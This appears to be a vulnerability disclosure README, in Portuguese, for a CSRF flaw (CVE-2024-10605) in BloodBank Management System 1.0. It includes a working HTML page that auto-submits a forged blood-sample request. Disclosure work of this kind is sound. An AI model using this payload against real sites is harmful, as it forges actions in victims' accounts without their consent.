bevennyamande/cve-2024-10605Exploit de prova de conceito para uma vulnerabilidade de Cross-Site Request Forgery (CSRF) no BloodBank Management System 1.0, permitindo solicitações não autorizadas de amostras de sangue através de um formulário HTML malicioso.
file/request.phpExiste uma Cross Site Request Forgery neste endpoint /file/request.php que permite a um usuário remoto iniciar uma solicitação de amostra de sangue na conta de um receptor que está logado, a partir da amostra de sangue disponível de um hospital selecionado.
A exploração bem-sucedida pode levar a ações não autorizadas em nome da vítima. Além disso, isso pode ser explorado ao visitar sites maliciosos com o payload.
Abaixo está um exemplo de um Ataque CSRF PoC que inicia uma solicitação de amostra de sangue a partir da conta de um receptor logado:
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<form action="http://localhost.local/bloodbank/file/request.php" method="POST" enctype="application/x-www-form-urlencoded">
<input name="bid" value="16">
<input name="hid" value="3">
<input name="bg" value="B-">
<input name="request" value="Request+Sample">
</form>
<script>
document.querySelector("form").submit();
</script>
</body>
</html>
csrf tokens em sua solicitação.